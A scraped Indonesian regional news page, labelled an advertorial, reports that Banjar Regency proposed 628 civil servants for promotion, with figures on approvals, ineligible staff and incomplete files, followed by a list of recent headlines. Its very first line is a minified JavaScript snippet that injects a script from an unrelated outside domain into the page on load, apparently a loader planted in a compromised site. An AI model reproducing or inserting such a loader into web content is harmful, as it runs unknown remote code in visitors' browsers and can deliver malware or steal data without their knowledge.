(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Pemkab Banjar Usulkan 628 ASN Naik Pangkat


MARTAPURA, Sebagai bentuk penghargaan yang diberikan atas prestasi kerja dan pengabdian Aparatur Sipil Negara (ASN) dalam melakukan tugas dan tanggung jawab, Badan Kepegawaian Daerah dan Pengembangan Sumber Daya Manusia (BKDPSDM) Kabupaten Banjar serahkan SK secara simbolis kepada 3 ASN Kabupaten Banjar untuk periode 1 April 2017. Acara ini digelar seusai apel kerja gabungan di halaman Pemkab Banjar, Senin (12/3).

Sekretaris Daerah Banjar Ir H Nasrunsyah mengatakan, pada kenaikan pangkat periode 1 April 2018 tersebut diusulkan kenaikan pangkat sebanyak 628 orang ASN. Terdiri dari golongan IV/c ke atas sebanyak 6 orang SK yang langsung ditandatangani Presiden dan menjadi kewenangan Badan Kepegawaian Negara (BKN). Sedangkan golongan IV/a sebanyak 80 orang SK ditandatangani Gubemur dan menjadi kewenangan BKN Regional VIII dan Badan Kepegawaian Daerah (BKD) Provinsi Kalsel dan Gol III/d ke bawah sebanyak 542 orang SK ditandatangani oleh Bupati Banjar dan menjadi kewenangan BKN Regional VIII dan BKDPSDM Kabupaten Banjar.

“Dari usulan sebanyak 628 yang diserahkan SK-nya, sisanya masih diproses dan akan menyusul, hari ini kita berikan semangat kepada yang lain yang SK-nya masih diproses,” kata Sekda Banjar.

Kepala Bidang Mutasi, Promosi dan Informasi Dwi Wahyudi mengatakan, sampai dengan saat ini telah terbit persetujuan teknis dari BKN sebanyak 484 orang, dan siap cetak SK. Sementara lainnya, Tidak Memenuhi Syarat (TMS) sebanyak 8 orang karena dari ASN perawat belum mengikuti uji kompetensi. Berkas Tidak Lengkap (BTL) sebanyak 136 orang yang masih dalam proses melangkapi berkas dimana sebagai besar adalah ASN guru.

Foto : rendy

“Dalam proses usul kenaikan pangkat maka BKDPSDM akan melakukan verifikasi secara ketat terhadap barkas yang masuk dan melakukan pendampingan proses usul kenaikan pangkat serta melibatkan secara langsung SKPD teknis,” jelasnya.

Kenaikan pangkat ASN ditentukan dari hasil penilaian kinerja di bawah kewenangan pejabat yang berwenang pada instansi pemerintah masing-masing yang didelegasikan secara berjenjang kepada atasan langsung dari ASN. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

11 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

11 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

13 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

17 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

19 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.